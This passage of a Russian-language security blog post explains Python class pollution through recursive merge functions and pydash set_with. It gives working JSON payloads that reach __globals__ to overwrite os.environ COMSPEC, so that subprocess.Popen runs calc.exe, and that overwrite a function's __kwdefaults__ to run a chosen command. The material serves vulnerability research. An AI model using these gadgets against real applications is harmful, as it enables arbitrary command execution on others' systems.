атрибут _globals__ доступен из любого из определенных методов экземпляра, которым мы управляем, например, __init__. . Мы не обязаны использовать __init__. конкретно, мы можем использовать любой определенный метод этого экземпляра для доступа к __globals__. однако, скорее всего, мы найдем __init__ метод в каждом классе, поскольку это конструктор класса. Мы не можем использовать встроенные методы, унаследованные от объекта класса, такие как __str__ если только они не были переопределены. Следует помнить, что <instance>.__init__ , <instance>.__class__.__init__
и <class>.__init__. одинаковы и указывают на один и тот же конструктор класса. Итак, эмпирическое правило здесь таково: если мы смогли найти цепочку атрибутов/элементов (на основе функции merge) от объекта, которым мы управляем, до любого атрибута или переменной, которую мы хотим контролировать, то мы сможем перезаписать ее. Это дает нам гораздо больше гибкости и экспоненциально увеличивает поверхность атаки при поиске гаджетов для использования. Мы покажем несколько примеров гаджетов, которые вы можете использовать в зависимости от приложения. В следующем примере мы будем использовать специальный атрибут __globals__. для доступа и установки атрибута класса NotAccessibleClass класса, а также для изменения глобальной переменной not_accessible_variable . NotAccessibleClass и not_accessible_variable не будут доступны без __globals__. поскольку класс не является родительским классом экземпляра, которым мы управляем, а переменная не является атрибутом класса, которым мы управляем. Однако, поскольку мы можем найти цепочку атрибутов/элементов для доступа к ней из экземпляра, который мы имеем, мы смогли загрязнить NotAccessibleClass и not_accessible_variable
Код:
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class User:
def __init__(self):
pass
class NotAccessibleClass: pass
not_accessible_variable = 'Hello'
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
print(not_accessible_variable)
print(NotAccessibleClass)
#> Polluted variable
#> <class '__main__.PollutedClass'>
Давайте рассмотрим реальные примеры реализации функции слияния.
Работая над этой темой, я хотел показать реальные примеры библиотек или приложений, уязвимых к Class Pollution, чтобы доказать концепцию. Поэтому я начал с произвольного поиска библиотек Python, предоставляющих функциональность, в которой может понадобиться и использоваться рекурсивное слияние.
Lodash - одна из библиотек JavaScript, где Prototype Pollution был ранее обнаружен и о нем неоднократно сообщалось. Теперь позвольте мне познакомить вас с Python-реализацией Lodash, которой является Pydash. Pydash set_ и set_with являются примерами рекурсивных функций слияния, которые мы можем использовать для загрязнения атрибутов. Самое замечательное, что и set_, и set_with позволяют нам перемещаться между атрибутами объекта и элементами в словарях и устанавливать их, что является лучшим, о чем мы могли бы попросить. Передавая объект, путь к атрибуту/элементу, который мы хотим установить, и значение, которое нужно установить, каждая из этих функций может быть использована для установки указанного атрибута или элемента на данном экземпляре. Во всех предыдущих примерах Pydash set_ и set_with можно использовать вместо написанной нами функции merge, и она будет эксплуатироваться точно так же. Единственное отличие заключается в том, что функции Pydash используют точечную нотацию, такую как <attribute>.<attribute>.<item> для доступа к атрибутам и элементам вместо формата JSON.
Код:
import pydash
class Employee: pass
emp = Employee()
modified_emp = pydash.set_with(emp, '__class__.__qualname__', 'Polluted')
print(modified_emp)
#> <__main__.Polluted object at 0x0000017B12BAFA50>
Некоторые крутые гаджеты
Как всегда в Prototype Pollution, последствия зависят от приложения и доступных гаджетов, которые можно использовать, здесь также последствия варьируются между тем, чтобы вызвать DoS, обрушив приложение, и в конечном итоге добиться выполнения команды, все зависит от самого приложения. Хотя мы не можем перечислить все гаджеты, которые вы можете найти, в этом разделе я постараюсь показать некоторые из них, с которыми вы можете столкнуться при эксплуатации этой уязвимости.
subprocess.Popen в Windows
В этом примере мы можем установить любой атрибут или элемент для вновь созданного экземпляра класса Employee предоставив полезную нагрузку в формате JSON, как было показано ранее. После выполнения операции слияния скрипт выполняет жестко закодированную команду whoami команду. Наша цель состоит в том, чтобы перехватить выполнение команды Popen
для выполнения произвольных команд вместо команды whoami команды. Потратьте немного времени и попробуйте запустить calc.exe прежде чем продолжить чтение, этот эксплойт работает только в Windows.
Код:
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"name": "employee"}') # attacker-controlled value
merge(emp_info, Employee())
subprocess.Popen('whoami', shell=True)
Наша главная цель здесь - найти цепочку атрибутов и элементов, которая каким-то образом позволяет нам управлять командой, выполняемой Popen (это класс, а не функция).
Заглянув в подпроцесс модуля, чтобы увидеть, как Popen работает под Windows, мы заметили, что там есть оператор if, который проверяет, установлен ли аргумент shell был установлен в True
или нет, если он установлен в True то он пытается получить путь к cmd.exe из переменных окружения пользователя, чтобы выполнить заданную команду, используя C:\WINDOWS\system32\cmd.exe /c <команда>. . Если переменная окружения COMSPEC не определена, то она устанавливает переменную comspec переменную в коде (не переменную окружения) в cmd.exe
Код:
if shell:
startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = _winapi.SW_HIDE
comspec = os.environ.get("COMSPEC", "cmd.exe")
args = '{} /c "{}"'.format (comspec, args)
Как мы видели, он использует os.environ для поиска COMSPEC в переменных окружения. Таким образом, если мы контролируем значение COMSPEC в os.environ мы сможем внедрять произвольные команды. Цепочка, которую мы должны использовать для перезаписи COMSPEC можно объяснить следующим образом:
- Начнем с обращения к любому методу экземпляра Employee кроме встроенных методов, чтобы получить доступ к __globals__. атрибуту, которым является __init__в нашем случае.
- Используя __globals__мы сможем получить доступ к подпроцессумодулю subprocess, который импортирован в нашем скрипте.
- В первых строках модуля subprocessмы видим, что он импортирует модуль os модуль, к которому нам нужно получить доступ, чтобы перейти к environ.
- Если бы модуль os уже был импортирован в наш скрипт, мы могли бы получить к нему прямой доступ, используя __init__.__globals__.os без необходимости использовать подпроцесс.
Код:
import subprocess, json
class Employee:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
Перезапись функции __kwdefaults__
__kwdefaults__
это специальный атрибут всех функций, согласно документации Python, это "отображение любых значений по умолчанию для параметров только для ключевых слов". Использование этого атрибута позволяет нам управлять значениями по умолчанию параметров функции, доступных только для ключевых слов, это параметры функции, которые идут после * или *args
Код:
from os import system
import json
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Employee:
def __init__(self):
pass
def execute(*, command='whoami'):
print(f'Executing {command}')
system(command)
print(execute.__kwdefaults__)
execute()
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())
print(execute.__kwdefaults__)
execute()
#> {'command': 'whoami'}
#> Executing whoami
#> user
#> {'command': 'echo Polluted'}
#> Executing echo Polluted
#> Polluted
В то время как __kwdefaults__ хранит значения по умолчанию для параметров, содержащих только ключевые слова, __defaults__ это кортеж, который хранит значения по умолчанию для позиционных или ключевых параметров. Было бы здорово, если бы мы могли загрязнять __defaults__ атрибут функции, однако это будет невозможно в сценариях, где недоверенный вход, которым мы управляем, анализируется как JSON, поскольку в формате JSON нет кортежей ().
Подробнее
Поскольку невозможно перечислить все возможные способы использования этой уязвимости, я приведу еще несколько примеров и предоставлю читателям возможность исследовать их дальше.
Загрязнение секретного ключа веб-приложения Flask, который используется для подписания сеанса. Перехват пути через os.environ.
> Обновления
Поскольку это тема, над которой я все еще работаю, я собираюсь обновлять этот блог во время своего путешествия, чтобы отвечать на вопросы, которые у всех нас возникают.